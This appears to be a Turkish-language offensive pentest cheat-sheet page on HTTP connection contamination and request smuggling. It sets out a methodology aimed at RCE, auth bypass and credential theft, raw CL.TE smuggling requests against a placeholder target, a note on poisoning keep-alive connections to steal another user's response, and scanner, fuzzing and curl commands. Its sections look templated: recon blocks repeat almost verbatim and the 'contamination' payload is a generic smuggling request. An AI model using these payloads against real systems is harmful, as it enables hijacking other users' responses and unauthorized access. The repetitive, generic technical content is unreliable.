Skip to content

HTTP Connection Contamination

web offensive

HTTP Connection Contamination web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

Section titled “Metodoloji”

  1. HTTP Connection Contamination giriş noktalarını (param/header/cookie/upload/API) haritala.

  2. Hedefe özgü payload ve araçlarla hipotezi doğrula.

  3. Okuma/yazma/RCE/bypass etkisini somut kanıtla.

  4. Zincirleme senaryo ve kanıt paketini tamamla.

Desync tespiti

Section titled “Desync tespiti”
Terminal window
python3 smuggler.py -u https://TARGET
Terminal window
nuclei -u https://TARGET -tags smuggling -silent
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked


0


G

Connection contamination / response smuggle

Section titled “Connection contamination / response smuggle”
POST / HTTP/1.1
Host: TARGET
Content-Length: 4
Transfer-Encoding: chunked


12
Gpostedrequest
0
poisoned keep-alive → sonraki kullanıcının yanıtını çal

Etki senaryoları

Section titled “Etki senaryoları”
admin paneli request smuggle, cache poison, bypass ACL, credential theft
Terminal window
curl -sk https://TARGET/admin -H 'Host: TARGET' -H 'X-Ignore: x'

Operasyon notları

Section titled “Operasyon notları”

HTTP Connection Contamination sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

Section titled “Ek komutlar”
Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
nuclei -u https://TARGET -as -silent
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

Section titled “Ek keşif komutları”
Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

Section titled “Kanıt toplama”
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html